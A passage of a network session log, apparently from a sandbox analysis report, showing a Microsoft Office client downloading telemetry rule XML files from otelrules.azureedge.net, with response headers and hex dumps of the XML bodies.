2024-12-01 02:33:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d8ac3bcc-601e-0032-16b2-42eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023302Z-174f78459685726chC1EWRsnbg00000012ag00000000cfs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 2c9dd3b5-d01e-0049-7af2-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023302Z-174f7845968n2hr8hC1EWR9cag00000011xg00000000b6d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023302Z-174f7845968nxc96hC1EWRspw800000011zg00000000eh2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:03 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1931dde2-701e-001e-077c-43f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023303Z-174f7845968jrjrxhC1EWRmmrs00000012dg00000000abrk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:03 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023303Z-174f7845968xr5c2hC1EWRd0hn0000000m1000000000kdmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: ebed6b5e-401e-0015-4f72-400e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023304Z-174f7845968glpgnhC1EWR7uec00000012g0000000006d7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:04 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023304Z-174f7845968xr5c2hC1EWRd0hn0000000m2g00000000fq99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e291e3e3-001e-0079-6f05-4112e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023305Z-174f7845968pght8hC1EWRyvxg00000005f00000000081v0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:05 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:05 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023305Z-174f7845968qj8jrhC1EWRh41s00000012bg0000000007n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:06 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:05 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:05 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 5bfdc617-b01e-001e-76f1-410214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023305Z-174f7845968psccphC1EWRuz9s00000012e000000000mr8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:06 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:06 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:06 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:06 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 44636861-901e-0083-5170-43bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023306Z-174f7845968frfdmhC1EWRxxbw000000128g00000000gx55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-01 02:33:06 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:06 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:06 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e3ba4dff-401e-002a-1ea2-42c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023306Z-174f7845968xlwnmhC1EWR0sv8000000126g000000004emg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" 